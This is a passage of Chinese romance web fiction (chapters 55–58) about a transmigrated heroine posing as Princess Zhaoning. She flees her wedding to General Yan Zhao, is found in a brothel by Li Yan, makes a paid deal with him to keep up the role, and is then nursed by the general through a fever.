他不再理会屋内的狼藉,转身大步走出新房,对候在外面的亲兵统领吩咐道:“四门即刻落锁,许进不许出。把所有能调动的人手都派出去,换上便服,悄悄地在城里找,不可惊扰百姓,更不可伤了公主分毫。” 亲兵们齐声领命。 燕钊转向李晏,将手中信纸交给他,语气从容:“李大人不必忧心。燕某亲自去寻,定会将公主安然无恙地带回来。” 他说完径直向马厩走去,步子迈得又急又大,背影却有种奇异的轻快感。 第55章 李晏站在一片狼藉的婚房中央, 目光依次扫过翻倒的箱子、散落的嫁衣、以及跪了一地的仆妇,眉头紧锁。 他低头看信。 字迹潦草,运笔急促, 看得出书写之人当时的仓皇。 李晏快速扫过内容,捏着信纸的手微微收紧, 又惊又喜。 他收起信纸, 转身朝门外冲去, 正好撞见闻讯赶来的周隐。 “周先生!”李晏一把抓住周隐胳膊, “帮我备马。让我们的人都去找公主!一定要赶在燕将军前把人找到。” 公主在新婚之夜失踪, 不管是公主自身想不开, 还是被歹人挟持, 都是天大的纰漏。 朝廷下嫁公主,本是为了笼络安抚燕钊。 如今公主在燕钊眼皮子底下不见了,无论原因如何, 燕钊的面子首先就过不去。 若是公主再有个三长两短, 非但不能结盟, 反而会结下大仇。 周隐心中雪亮,不再追问细节, 立刻领命去办。 夜色渐深,衡州城中暗流涌动。 兵士换上便装, 骑兵步兵皆有,三五成群穿行在街巷之间。 李晏带着人穿街走巷,因对衡州道路不熟,不少冤枉路来回走了几遍,效率极低。 周隐打马赶上,劝道:“公子,这样无头苍蝇似的乱撞不是办法, 我们还是去找燕将军,请他派个熟悉地形的向导。” 李晏勒住马,左右看看。 这一带算是衡州城最热闹的街区之一,一侧是灯火通明的酒楼戏园,丝竹喧哗,另一侧则是一座挂着大红灯笼的楼阁,门口倚着些衣衫轻薄巧笑倩兮的女子。 他皱了皱眉,意识到这是什么地方,正要调转马头离开。 “哎哟,这位公子——” 老鸨眼尖,早就瞧见了这队人马,见他要离去,赶忙扭着腰迎上来。 “来都来了,怎的还不进来坐坐?我们这儿的姑娘可是顶顶好的……” 李晏心中焦躁,哪有心思理会,拧眉就要呵斥。 转头间,视线掠过老鸨发髻,就见那上面斜插着一支雕工精巧的赤金点翠牡丹簪。 李晏一怔,又细看了两眼,翻身下马。 周隐见状跟着下来,走到那老鸨身边,目光也在那金簪上停留了一瞬。 他从袖中摸出一锭银元宝,悄咪咪地塞到老鸨手里,低声问:“今晚可有年轻的姑娘来投宿?” 老鸨捏着沉甸甸的银子,心道,这必是家人来寻了。 她用帕子半掩着嘴,左右飞快地瞟了瞟,朝李晏抛了个暧昧的眼风。 “二楼,最里头那间。” 她说着,朝楼梯方向抬了抬下巴。 李晏推开房门时,苗悦正斜靠在窗边的躺椅上,手里拿着啃了一半的苹果。 一个姑娘轻拨琵琶,一个姑娘唱着小曲,一个姑娘给她揉肩,一个姑娘为她捶腿。 苗悦眯着眼,脚尖随着曲调有一下没一下地点着,脸上尽是放松惬意。 哪里像个逃婚的公主,分明是来寻欢作乐的纨绔子弟。 开门声打断了丝竹声。 苗悦撩起眼皮,朝门口瞥去,与李晏四目相对。 两人隔着满室的莺歌软语,俱是一愣。 此时的李晏,与三年后那个心思深沉面色苍白的太常少卿颇为不同。 他仍是翩翩贵公子的模样,但眉眼间尚未被过多的权谋算计浸染,显得疏朗许多,肤色亦是健康的,有属于这个年纪的朝气。 苗悦问:“李晏?” 李晏偏了偏头,试探着问:“……苗悦?” 苗悦大惊,一下子坐直了,差点把手里的苹果扔出去。 她张了张嘴,刚要说话,眼角余光瞥见那四个一脸好奇的姑娘,立刻把话咽了回去。 她从袖袋里摸出一把银子,也顾不上数,胡乱塞到离她最近的姑娘手里,让她们都出去。 四个姑娘互相看了看,虽觉莫名其妙,但得了赏钱,还是嘻嘻哈哈地鱼贯而出。 房门刚一合上,苗悦几步冲到李晏身前,上下打量他。 “你……你也穿进来了?!” 李晏同样上下打量苗悦,问:“你什么时候……” 苗悦说:“就在今晚。” 李晏说:“我也是。” 李晏好奇地打量起屋内陈设,不时摸摸桌上的瓷器,捻捻窗帘的布料。 “没想到记忆世界居然这般逼真。” 苗悦问:“难道你从没进来过?” 李晏摇了摇头:“我尝试过,但一直无法真正进入。” “那你这次是怎么进来的?” “我也不知道。”李晏道,“或许是因为我也吸入过离魂香,而现在这段记忆,恰好有我存在,所以将我拉了进来。” 苗悦拧眉追问:“你怎么知道李昭宁是我?我才刚来,根本没见过你。” 李晏取出那封“绝笔信”,指着上面的字迹:“昭宁公主自幼习字,即便仓促,也绝无可能写出这般……潦草随意的字。而且以我对她的了解,她做不出脱嫁衣卷钱财翻窗逃婚这等事。” 苗悦皱眉,一时间觉得李晏在嘲笑她。 她又问:“那你又是怎么找到我的?” 李晏道:“你躲进青楼,确实高明。谁也想不到,昭宁公主会进这种地方。但你用来贿赂老鸨的那根金簪,所用的点翠工艺是宫廷御用,我认得。” 苗悦撇撇嘴,道:“你没被燕钊的人盯上吧?” 李晏摇头:“你现在马上跟我回去,就说你出门乘凉,一时迷了路,不小心走出将军府,恰好遇到我。” 苗悦嗤笑:“燕钊能信?三岁小孩都不信。” 李晏道:“只要他还想让婚事继续下去,他会信的。” 苗悦哼了一声,耸耸肩,重新坐回躺椅上,捏了个葡萄,问李晏:“你知道李昭宁为什么坚决不肯嫁吗?” 李晏皱眉:“她自恃身份,不愿下嫁草莽。” 苗悦扯了下嘴角:“我就知道你不晓得内情。她有个情郎,是家乡那边的年轻大夫。两人原本商量好等她再拖两年,家里没了指望,就下嫁过去。可你们一纸诏书,棒打鸳鸯。这还不算完,还杀了那小大夫灭口,逼李昭宁喝下打胎药。” 苗悦指向自己这副虚弱的身躯:“她本就体弱,经此一遭,元气大伤。你现在明白,她这一路为何病痛不断了吧?” 李晏惊愕道:“我从未听闻此事!” 苗悦冷笑:“这种事,巴不得烂在肚子里,敢让人知道?但是……”她抬手,指尖朝天画了个圈,“这个世界本质是由燕钊的记忆生成的。他知道,所以我才会知道。燕钊知道自己被戴了这么大一顶绿帽子后,还能心平气和的联姻?李昭宁到底是不是自杀,都不好说。” 李晏拧眉思索:“难怪他把昭宁的尸身送回丹阳,郡王府竟也不追究。” 苗悦斜看他:“你提供的情报,我也真是服了。陈阿大是被山匪杀了没错,可那山匪是燕钊找来的。石关山有个女儿叫石红玉,在卢宁军事件中起了非常重要的作用,你提都没提。还有燕无咎,他到底死没死?你给我的信息净是错的,次次都打得我措手不及。” 李晏道:“我已经尽力了,信息不全实在是没办法的事。” 苗悦耸耸肩,道:“所以你看,真不是我故意撂挑子不干,实在是这任务从根子上就出了岔,没法完成。起码眼下燕钊对朝廷还算忠心,可如果我继续扮演昭宁公主,等圆房的时候,他就会发现端倪。到那时,可就是奇耻大辱了。” 李晏愁道:“若这些都是真的,那现实中的燕钊岂不是很难接受朝廷招安。” 苗悦好心地给出建议:“不如你去跟他说,公主被歹人掳走为保贞洁跳崖自尽,你回长安让朝廷再换一个公主来……” “现在的长安不在燕钊记忆中,我根本没地可回。”李晏打断她,抬头坚定道,“燕夫人的身份是个很好的说客,绝对不能放弃。可以让刘太医说你体弱需静养,暂时不能圆房,后面再设法周旋。” 苗悦微笑:“要周旋三年。” 李晏道:“我给你加钱。” 苗悦一愣,下意识问:“加多少?” 李晏咬了咬牙:“八千两。” 苗悦扬眉。当初他们说好的是带她和阿芦进城,再给够安身立命的银子。 八千两,可不止 是安身立命了。 苗悦犹豫着,忽听外面一阵喧哗。 李晏拉开一道门缝向下望去。 只见四五个带刀亲兵簇拥着一个身形挺拔的男人走了进来,正是燕钊。 李晏眉头紧锁:“他怎么找来了?” 苗悦也凑过去看了一眼,立刻缩回头。 “你们一个两个的怎么都能找到这种地方来。” 她心思电转。 燕钊已经找过来了,她反正跑不掉了,不如就按李晏说的。 她快速道:“你的情报从来没准过,我只能保证尽力,不打包票,不管成与败,八千两。” 李晏点点头:“君子一言。” “驷马难追。” 交易谈妥,苗悦伸手便要拉门。 李晏按住门框:“你准备怎么解释?” 苗悦一笑:“只要他还想继续这门婚事,什么借口他都会接受的。” 说完,她推开李晏的手,拉开了房门。 房门刚一开,燕钊似有所感,抬头望来。 两人目光在半空中撞个正着。 二十四岁的燕钊,帅军多年,比苗悦记忆中任何一个“他”都要显得冷硬。 玄色披风,银色轻甲,有股久经沙场淬炼出的凛冽气势,仿佛收入鞘中的利刃,静默,却散发着无形的压迫感。 苗悦怔了片刻,随即一手掩面,一手提裙,快步冲下楼梯。 冲到燕钊身前时,她已是眼圈泛红,泪光盈盈。 她一头扎进燕钊怀里,抱住他的腰,呜咽道:“我饿了一天,出门找吃的,结果迷了路,又冷又饿,幸得老鸨收留。” 她轻轻锤了他一下,嗔道:“夫君……你怎么才来呀……我等了好久……” 倒打一耙,她是专业的—— 作者有话说:明天周三,休息一天~ 第56章 燕钊的身体, 明显僵了一下。 他身后跟着的亲兵手都按上了刀柄,惊疑不定地在自家将军和新夫人之间来回扫视。 丝竹声调笑声戛然而止,喧闹的大堂, 陷入一种诡异的寂静。 老鸨摸了下头顶的发簪,咬牙上前配合苗悦。 “这姑娘刚刚吓得不轻, 怪可怜的, 回去可得好生安抚。” 燕钊感觉到怀中身躯轻颤, 他垂眸, 只能看见女子乌黑的发顶和单薄肩膀。 他觉得自己似乎应该安抚一下对方, 他抬起手臂, 在空中顿了一顿, 僵硬地落向她后背。 就在他指尖即将触碰到她衣料的刹那,苗悦猛地抬起头,胡乱抹了一把脸。 “这里不是说话的地方。我们先回去吧!” 不等人反应, 苗悦松开手, 擦着燕钊的衣角而过, 带起一阵微弱的香风。 燕钊缓缓放下手臂,指尖下意识捻了一下。 李晏急匆匆下楼, 对燕钊拱了拱手:“今日之事,是我疏忽。公主受惊, 多有失礼,还请将军海涵。” 燕钊回道:“言重了。” 楼阁外,周隐焦急地立在一旁,身边站着几名燕钊的亲兵。 见苗悦出来,周隐明显松了口气,牵着白马走过来。 这马毛色如缎,鞍鞯华贵, 辔头镶银,一看便知是李晏的坐骑。 另一匹则是通体乌黑雄健的战马,马鞍是硬朗的皮质,鞍边挂着弓袋,马镫泛着冷硬的金属光泽。 苗悦的目光在两匹马之间逡巡。人人都有马,总不能让她走回去吧,选哪一匹呢? 她正想着,忽觉身侧光线一暗,还未及反应,一双手已稳稳卡住她腰侧,旋即一股大力将她凌空举起。 她惊呼一声,双脚离地,转眼坐在了黑色骏马上。 鞍鞯冰冷坚硬,硌得她腿根一酸,忙伸手抓住鞍桥才稳住身形。 她惊魂未定地回过头,只见燕钊单手一按马鞍,利落翻身,坐在了她身后。 “坐稳。” 低沉的声音在她头顶响起,没有多余的情绪。 一只手从她身侧探过,抓住缰绳,另一只手虚扶她腰侧,防止她摔下去。 李晏见状,也不再言语,上了自己的马。 “回府。” 燕钊简短下令。黑色骏马打了个响鼻。其余亲兵迅速跟上,呈护卫队形,将三人拥在中间。 因是繁华地段,即便入夜,仍有不少行人车马。 燕钊控着缰绳,缓速前行。 苗悦僵坐在马上,能清晰地感觉到身后传来的温热。 她试图找点话说,微微侧过头,问:“你怎么找到这里的?” 燕钊的声音从她头顶传来:“那你得问李晏,我看到他的马停在外面。” 苗悦闭上了嘴,总不好说是李晏认出她用来贿赂老鸨的那支金簪吧。 一个提着兔子花灯的小女孩嬉笑着从斜巷口冲出。 燕钊猛地一勒缰绳! 黑马猝不及防,发出一声不满的嘶鸣,前蹄向上扬起。 苗悦是侧坐的,一下子失去平衡,手在空中胡乱一抓,抓住了什么东西。 燕钊虚放在苗悦腰侧的手骤然收紧,将人固定在自己身前,同时微微前倾,另一手施加力道,控制马匹转向的弧度,口中发出“吁…吁…”声。 不过两三息,马匹扬起的蹄子落下,被他控制着向旁侧挪开两步,彻底让开了道路。 小女孩从头到尾都没察觉方才的危险,兀自欢笑着,举着亮晶晶的花灯,一溜烟跑进了对面的巷子,留下一串清脆的笑声。 苗悦被那笑声感染,嘴角也不自觉向上弯了弯。 她知道未来若干年内,衡州城是安全的,这种踏实感,让快乐翻倍。 这时,她右手攥着的东西动了动,坚硬、微凉、带着皮质纹理。 苗悦缓缓转过头,只见她的五指正紧紧地攥着燕钊胸前轻甲上,那根用来连接前后甲片的皮带。皮带内侧粗糙边缘硬朗,在那之下是冰冷坚硬的金属甲片。 而她整个人,几乎完全靠在燕钊怀里,甚至能感觉到他因控马而略显急促的呼吸起伏。 苗悦倏地松开手,不自在地往前挪了挪。 同一时刻,燕钊也松开了环住她的手臂,目光直视前方。 苗悦咬牙,她不该如此别扭啊。 她可是当过陈阿大的,别说同乘一马了,一条炕上睡觉,一个池子泡澡都有过。 马蹄声在街道上回响,刺史府的门楼隐约在望,门前悬挂的灯笼将一片区域照得通明。 管事仆从以及留守部将早已垂手肃立。 抵达府门,燕钊率先下马,自然地转身,朝苗悦伸出手。 他的手伸到一半,却顿住了。 他看到昭宁公主诧异和迟疑的神情。 是了,昭宁公主于他是一个陌生人,这样近乎拥抱的动作,在旁人看来未免过于亲近,不合时宜。 周围还有那么多人注视着。 他的手臂僵在半空,收回来显得突兀,继续伸过去又极为尴尬。 苗悦回过神,低声说:“我自己下吧。” 燕钊立刻收回手,恢复一贯的沉稳疏离,道:“好。” 苗悦手撑住马鞍前端,小心地挪动身体滑下马背,双脚落地时,微微踉跄了一下。 燕钊手一动,就要去扶,但苗悦很快自己站稳了。 燕钊偷偷收回手,上前半步,朗声道:“公主今日出门,不慎迷路,受惊走失。幸得李大人及时寻回,现已无恙。虚惊一场,诸位不必担忧,散了吧。” 他三言两语,将“逃婚”定性为“意外走失”,把昭宁公主的嫌疑摘得干干净净,还顺带撇清了李晏,给了双方一个十足体面的台阶。 人群明显松了一口气,低低的应诺声响起,有序散去,府门前的紧绷气氛顿时缓和。 李晏微微皱起了眉,目光在燕钊和苗悦之间扫了一个来回。 燕钊居然会主动帮公主解围?这可与现实世界中大不一样。 李晏可不认为这位杀伐决断的燕将军会突然变得怜香惜玉,或是为了照顾朝廷的面子。 这桩婚事,从一开始就不是你情我愿的联 姻,而是朝廷巴巴求来的。 燕钊手握强兵,占据要冲,根本不需要一个公主来锦上添花。 当初朝廷派了多少波说客,许下了多少粮草军饷、官职封赏,他都不为所动。 是那个老谋深算的杜言,给燕钊算了一笔账。 娶公主,就等于拿到了朝廷的“背书”,招兵买马吞并周边,都有了名分,与其他藩镇打交道时,多一层“皇亲国戚”的保护色。 最主要的是,他们占领衡州城不足半年,统治基础薄弱,抵抗暗流涌动。 与朝廷联姻,能稳定局势,为燕家军争取发展时间,也能让衡州百姓尽快接纳新的领导者。 “将军欲成大事,岂能无容人之量?此非娶妇,乃纳‘势’也。” 送亲队伍抵达衡州那几日,燕钊对公主避而不见,态度客气而疏离。 李晏还记得,现实中他那段时间一直悬着心,生怕燕钊临时反悔,以至于没能注意到昭宁公主的反常。 李晏尚未离开衡州,公主便选择了自尽。 当时的燕钊完全没有维护这桩婚姻体面的意思,直接命李晏将尸体送回丹阳,态度冷得近乎绝情。 那时李晏并不知道公主过去的经历,只当是公主心高气傲不堪受辱。 如今想来,公主应是留下了足以解释一切的遗书。 而燕钊,必然是看过了。 或许是出于对逝者尊严的维护,或许是出于与朝廷关系的考量,总之,燕钊选择了隐而不发,只是没有承认这门婚事。 而现在,记忆世界里的燕钊明显变得温和许多,愿意主动维护表面的和睦。 李晏不知苗悦做过什么,但显然她已对燕钊的性格产生了好的影响。 这样一想,他心中几乎熄灭的希望之灯,又亮了起来。 或许,招揽燕钊,并非全无可能。 燕钊一路护送苗悦回到婚房。 屋内已被丫鬟们收拾得整洁如新。 两人站在屋里,一时相顾无言。 燕钊似乎并无离开之意,沉默地打量着四周。 杜言在门外轻咳一声,提醒道:“将军,外面还有许多客人。” 燕钊这才收回目光,看向苗悦:“你饿吗?” 苗悦刚刚吃过东西,摇头道:“不饿,你去忙吧。” 燕钊又道:“我叫人送些茶点来?” 苗悦说:“也行。” 燕钊“嗯”了一声,仍是站着不动。 杜言又在门外轻咳,明显在催促。 燕钊终于转身,走到门口,却又停住,回头道:“夜里风大,关好窗。” 苗悦点头:“知道了。” 他这才推门出去。 门合上的瞬间,苗悦长长舒了口气,视线越过半开的窗户,看见月光下燕钊微侧了头,边走边对亲兵说着什么。 眼前的燕钊,与现实中的他不过相差三岁,却完全不是李晏所说的“煞气冲天,心如铁石”。 他话虽不多,却处处透着一种不动声色的周全和照顾。 难道自己前几次穿越,已经在不知不觉中从根本上改变了他的性格? 也不知现实中的燕钊,会跟着改变多少。 至少从今晚的表现来看,二十四岁的燕钊虽然沉默寡言,看上去表情不多,但其实心细如发,思虑周全。 是个挺温柔的人呢。 苗悦站在窗前,望着那个挺拔的身影,露出欣慰的笑,仿佛自己亲手栽培的幼苗终于长成了。 燕钊一边往前厅走,一边问亲兵:“派了多少人守着?” “四个。” “不够。”燕钊下令,“把你手下的人都调过来,前后门窗左右廊下,屋顶都要布防,每个角落都不能漏。” 他顿了顿:“把人给我看牢了。” 第57章 前厅的喧闹不知持续到了几更天。 苗悦在房中等了没多久, 便觉得身子一阵阵发冷,头重脚轻。 她强撑着想去倒杯水,刚站起身, 双腿一软,险些栽倒在地。 赵嬷嬷慢悠悠地走过来, 伸手在苗悦额头上一探, 皱着眉“啧”了一声。 “怎地又病了。” 她扶住摇摇欲坠的苗悦, 半拖半抱地将人挪到榻边, 扭头冲门外喊:“去请刘太医!公主的身子又不爽利了!” 丫鬟们闻声而动, 脚步声匆匆远去。 赵嬷嬷从屋角拎起铜壶, 直接倒了半盆热水, 又兑了些凉水,随意搅和两下,浸湿一条棉帕, 胡乱拧了拧, 湿哒哒地敷在苗悦额头上。 余水顺着苗悦的鬓角流下, 她也懒得去擦,只抱怨道:“明知自己身子骨弱, 还要折腾,又是爬窗又是钻洞的, 哪里还有半点金枝玉叶的样子?说出去,让人笑话咱们皇家没个规矩……” 苗悦昏昏沉沉地躺在榻上,脑袋里像塞了一团湿透的棉花,又沉又闷。 赵嬷嬷的声音像是从很远的地方传来,字字句句钻进耳朵里,却模糊得连不成意思,只剩下一种令人烦躁的嗡嗡声。 苗悦憋闷得不行。 想她占了这么多身体, 陈阿大身强体健,石红玉泼辣结实,就连燕承嗣,那也是习武的底子,虽说被药掏虚了,但也没到这种吹阵风就能倒下的地步。 真真是個琉璃美人灯,外面瞧着光鲜,里头弱不禁风,出个门,骑个马,受点夜风,就能烧得人事不知。 这滋味,还真是头一遭尝到。 不多时,刘太医提着药箱匆匆赶来。 这位刘太医,年约四旬,面皮白净,保养得宜。 他的医术放在太医院中颇为平庸,全仗着家中使了重金,又攀附上当宠的妃子,才在太医院里谋了个清闲的职缺,平日里多是开些太平方,奉承贵人,混个资历。 可近日宫中风云突变,他倚仗的那位贵妃在争斗中落败,被打入了冷宫。 刘太医是个机灵人,深知树倒猢狲散的道理,生怕清算的火蔓延到自己身上,日夜惶恐不安。 正巧朝廷要为昭宁公主挑选一位陪嫁太医,这差事路途遥远前程未卜,还是个伺候病秧子的苦活,太医院里稍有门路的都避之不及。 刘太医主动请缨,打算远离京城是非之地,到衡州躲几年清静。 赵嬷嬷一见刘太医,立刻堆起殷勤的笑,快步迎上去:“这大半夜的,真是辛苦您了!” 刘太医微微颔首,坐到床边,为苗悦诊脉。 苗悦昏沉中感觉到有人触碰手腕,却无力睁眼。 不过一两息,刘太医便收回手,淡淡道:“无甚大碍,就是吹风受寒,邪气入体。我开几副驱寒发散的药,按时服下,发发汗就好了。只是公主身子骨弱,日后还需多加注意,切莫再受风寒。” “老奴一定谨记,一定好好伺候着。”赵嬷嬷点头哈腰,将刘太医送出门,又吩咐丫鬟跟着去抓药。 送走太医,赵嬷嬷的笑瞬间消失,瞥了一眼榻上昏睡的公主,转身走到桌边。 折腾了大半宿,她也饿了,这些茶点反正没人吃,别浪费了。 赵嬷嬷坐在桌边,自顾自地吃着点心。 榻上的人又睡了过去,额上的帕子早已滚落一旁。 不知过了多久,丫鬟端着煎好的药进来。 赵嬷嬷接过药碗,走到床边,将苗悦半扶起来,倚靠在床头。 药碗凑到苗悦嘴边,大概估了下温度,便往里灌。 苗悦被呛得咳嗽了几声,苦涩的药汁顺着嘴角流下,弄脏了衣襟。 赵嬷嬷用帕子给她擦了擦,又勉强灌了几勺,见碗底差不多了,便将人往榻上一放,嘟囔道:“行了,睡一觉发发汗就好了。” 有人吹熄了桌上的烛火,只留了墙角一盏昏暗的灯。 黑暗中,只剩下苗悦粗重而滚烫的呼吸声。 后半夜,苗悦的高烧稍微退了一些,人也清醒了几分。 强烈的干渴感袭来,她攒了攒力气,微弱地喊道:“嬷嬷……水……” 赵嬷嬷趴在桌子上打盹,听到这微弱的呼唤,不耐烦地皱了皱眉,把头扭向另一边,假装没听见,继续睡她的觉。 这一路上,这位公主哭哭啼啼寻死觅活,走几步路就喘不上气,三天两头就病倒,活脱脱一个药罐子。 不过是个郡王家的庶女,得了天大的造化才能被封为公主,嫁给相貌英俊手握重兵的一方诸侯,还有什么不知足的? 就这副 风吹就倒的德行,如何讨那身强体健杀伐决断的驸马爷欢心? 那驸马爷一看就是个精力旺盛需求强的主儿,就公主这身板,别说承欢侍寝了,只怕圆房当晚就能直接咽了气。 赵嬷嬷越想越觉得憋屈,要不是得罪了那位贵人,被发配来干这送亲的苦差事,自己这会儿还在宫里头吆三喝四、吃香喝辣呢,哪用得着在这伺候这么个没福气又没用的短命鬼。 她越想越气,索性把耳朵捂得更紧些,翻了个身,彻底隔绝了那微弱的求救声,不一会儿,鼾声就响了起来。 苗悦躺在床上,浑身滚烫酸软,听着赵嬷嬷的鼾声,暴怒的火焰窜上心头。 堂堂公主,竟被下人如此作践,连口水都喝不上。 不管在现实中还是记忆世界里,她哪里受过这等窝囊气。 等她病好了,第一件事就是把这些阳奉阴违的东西全都撵出去,一个不留! 次日清晨,天刚蒙蒙亮。 燕钊练完功,接过亲兵递来的汗巾,随口问:“公主起了吗?” 亲兵回道:“公主那边还没动静,似乎还没起。” 燕钊将汗巾搭在肩上,道:“她昨晚太累了,让她多睡会儿。去告诉厨房,早膳不着急,等她一起。” 亲兵犹豫了一下,道:“属下听人说,公主昨夜请了太医。” 燕钊擦汗的动作一顿,眉头皱起。 “怎么没人跟我说。” 亲兵道:“可能公主怕耽搁将军处理军务,吩咐下人不要惊动您。” 燕钊扔下汗巾,回房更衣,大步流星来到新房院外。 赵嬷嬷和一众仆妇丫鬟急匆匆地出来迎接。 赵嬷嬷试图拦住燕钊,嘴里高声说道:“驸马爷您怎么来了?也不提前知会一声,老奴们也好准备准备,这屋里乱糟糟的,还没收拾呢,可别冲撞了您!” 赵嬷嬷原想着自己是宫里出来的老人,又是公主的陪嫁嬷嬷,一个草莽出身的武将,怎么着也得给自己两分薄面,这才壮着胆子挡在了前面。 哪知燕钊看都没看她一眼,他身旁的亲兵已抢先一步,伸胳膊将她猛地搡开。 赵嬷嬷踉跄着倒退几步,一屁股跌坐在地上,摔得生疼。 她张了张嘴,撞上那亲兵冰冷扫过的眼光,吓得浑身一激灵,到了嘴边的叫唤硬生生咽了回去,只敢瞪着眼睛,看着燕钊推门就进。 闷闷的药味扑面而来。 燕钊走到床边。 苗悦依然昏睡着,脸色苍白,嘴唇干裂,枕边赫然有几道干涸的水渍,无人清理。 燕钊脸色瞬间沉了下来,目光扫过桌案。 昨日还摆得满满当当的茶点盘子,此刻空空如也,只剩些残渣碎屑。 他伸手提起壶,冰凉沉重,显然一夜未曾换过热水。 丫鬟仆妇们垂手侍立战战兢兢。 “你们就是这么伺候的?”燕钊声音不高,却冷得像冰碴子,带着一股令人胆寒的压迫感。 赵嬷嬷扑通一声跪倒在地,哭道:“将军明鉴!老奴原是在宫里伺候惠妃娘娘的,因办事还算得力,才被特意指来服侍昭宁公主。离京前只听闻公主性子柔顺,谁承想殿下是自幼带病的弱症,这一路舟车劳顿,竟是三日一小病,五日一大病!” 她抹了抹眼角,偷觑燕钊脸色,继续道:“每次殿下一病,老奴这心里就慌得没了主张,光顾着着急上火了,难免有些细节注意不着。公主殿下宅心仁厚,从不与下人计较这些细枝末节,老奴……老奴是一时疏忽,求将军恕罪!” 燕钊冷道:“你们既进了我府,便是我燕家军的人。公主宅心仁厚,但我不是。将这屋里所有伺候的人,重责二十军棍,打完立刻逐出府去。” 赵嬷嬷顿时瘫软在地,面如死灰,连求饶都忘了喊。 杜言见状,上前一步,低声劝道:“咱们府上使唤的人手本就不足,若将这些人尽数打发了,一时半刻难以补齐。况且,殿下如今病着,总要有几个用惯了的熟手。不如只将为首几个发卖了事。” 燕钊点点头,算是同意了,又命人把刘太医叫来。 不多时,刘太医提着药箱,脚步匆匆地赶来,一进门,就感受到燕钊身上未散的戾气。 “刘太医,他们说你昨夜称公主无甚大碍,发发汗就好,为何今日还是这般昏沉不醒?” 刘太医冷汗直冒,忙道:“容臣再为公主诊脉。” 这一次,他凝神细诊了许久,脸色越来越凝重。 半晌,他收回手,擦了擦额角的汗,颤声道:“公主自幼体弱,根基亏损,这一路舟车劳顿,元气大伤。加之前夜受了极重的风寒,邪气已然入里,来势汹汹啊。” 燕钊道:“那该如何?” “臣立刻重新开方,需用重剂,先退高热,再固本培元。”刘太医不敢怠慢,立刻走到桌边,铺纸研墨,笔走龙蛇,开了一张药方,双手呈给燕钊,“此药需即刻煎服,一刻也不能耽搁。” 杜言接过药方,看了一眼,递给亲兵。 燕钊走到盆架旁,亲自兑了一盆温水,浸湿了干净的帕子,拧干后,轻轻地帮苗悦擦拭额角和脸颊。 杜言在旁边看着,渐渐拧起了眉。 第58章 刘太医从公主房中退出, 擦了擦额角的细汗,匆匆往外走,却见李晏正带着随从朝这边赶来。 刘太医忙行礼:“李大人, 下官正有事要与大人商量。” 李晏停下脚步,关切道:“可是公主的事?我听闻公主凤体欠安, 眼下情况如何?” 刘太医左右看了看, 压低声音道:“李大人, 借一步说话。” 李晏会意, 随他走到廊下一处僻静角落。 “李大人。”刘太医搓着手, 为难道, “有一事下官实在不知该如何开口。” 李晏道:“太医有话但讲无妨。你我都是一心为公主, 为朝廷考量之人,无需顾虑。” 刘太医闻言,凑近了些, 声音压得更低:“那下官就直说了。昭宁公主她……小产不久。” 他说完, 紧紧盯着李晏的脸, 却见李晏神色不变,眼中并无惊诧, 只是目光微凝,似在思索。 刘太医顿时了然, 这位李大人是知情的! 他立刻又补上一句:“而且,公主小产后未曾好生调养,又舟车劳顿,大伤元气,如今底子已经掏空了。这般情形,若再……后面恐怕麻烦不断。” 李晏沉默片刻,问道:“太医可有稳妥之法……不必圆房。” 刘太医道:“公主如今病体支离, 自然不宜圆房。可这病总有好的时候,怕是拖不了太久。” “太医觉得,能拖上三年吗?”李晏追问。 “三年?”刘太医倒吸一口凉气,连连摇头,“李大人,燕将军正是血气方刚的年纪,又对公主颇为上心……三年实在太久,恐怕难以搪塞过去。”他话锋一转,“不过……若让公主静心调养半年,再圆房时,用些药物技巧遮掩,或可勉强度过,不致立刻露馅。” 李晏眉头皱得更紧,思索片刻后,对刘太医道:“刘太医远离故土,随公主赴衡州,照料起居,实在辛苦。李晏愿奉上纹银千两,供太医在衡州安身立命,生活便利。望太医务必尽心,拖延圆房之期,愈久愈好。若能延至三年,便是大功一件。” 刘太医深深作揖道:“多谢李大人厚赏!下官必定竭尽全力,为公主凤体周全,不负大人所托!” 新房内。 燕钊命人搬来一张圈椅,放在了苗悦的床边。 丫鬟端来新煎的汤药,燕钊接过药碗,用勺子搅动,又低头试了试温度,确定不烫口后,才坐到床边。 他一手轻轻托起苗悦的后颈,让她倚靠在自己身上,一手端着药碗。 苗悦昏沉中闻到苦味,眉头紧皱,下意识地别开脸。 燕钊耐心地举着勺子,轻声道:“我让人备了上好的白糖,喝完便给你。” 连哄带劝,一勺一勺的,一碗药见了底,他用干净的帕子拭去她嘴角的药渍。 他命人将窗户开了小缝通风,又细心地在风口处立了屏风,确保不会有风直接吹到床上。 感觉苗悦衣衫半湿,他也不避嫌,命丫鬟取来干净寝衣,自己则守在屏风外,寸步不离。 丫鬟们皆知燕将军动了真怒,又亲眼见他如此亲力亲为,哪个还敢怠慢。 送来的茶水永远是温热的,点心永远是新鲜的,脚步都放得极轻,生怕惊扰了公主休息。 有心思细腻的丫鬟看在眼里,不禁暗叹。 这位公主的命,说好吧,金枝玉叶却下嫁给了草莽出身的将军。 说不好吧,瞧将军这紧张呵护的劲儿,怕是比高门大户里的正经夫妻还要情深意重几分。 就这样,又过了一日一夜,苗悦仍然烧着,燕钊衣不解带在房中照顾。 杜言将这些看在眼里,眉头紧锁,心中不安。 这太反常了。 他清楚地记得,当初朝廷提出和亲时,燕钊是何等抗拒。 还是自己费尽唇舌,反复剖析利害,将公主体弱多病只需养在府中保她衣食无忧即可也说了出来,才勉强说服他。 燕钊点头应下这门亲事时,神情淡淡,仿佛只是在处理一桩寻常公务。 可如今,这位被他劝说着“娶个摆设回来”的燕将军,竟然亲自守在病榻前两天一夜,不眠不休地端药递水擦拭降温。 杜言非常了解燕钊。 他杀伐决断恩怨分明,对认可的自己人极尽优容,对敌人和无关紧要的人则近乎冷酷,绝不是一个会因怜悯或美色而失去分寸的人。 难道是动了真心? 这个念头让杜言心中警铃大作。 于是这天晚上,他以“有要事”为名将燕钊叫到院中。 燕钊走出来,关好门,问:“发生什么事了?” 杜言道:“将军你已经两日未曾好好歇息了。公主那边有人照料,将军何必亲自操劳至此?” 燕钊道:“她病得重,旁人伺候,我不放心。” 杜言语重心长道:“当初将军同意这门亲事,是为大局着想,将公主奉于府中,以示与朝廷和睦,稳住后方。公主殿下身份尊贵,我等自当敬奉,保其衣食无忧,也算尽了本分。可如今,将军待公主似乎过于上心了。一军之主,肩负重任,当以军务大事为重,若因内宅之事过度分心劳神,恐非三军之福……” 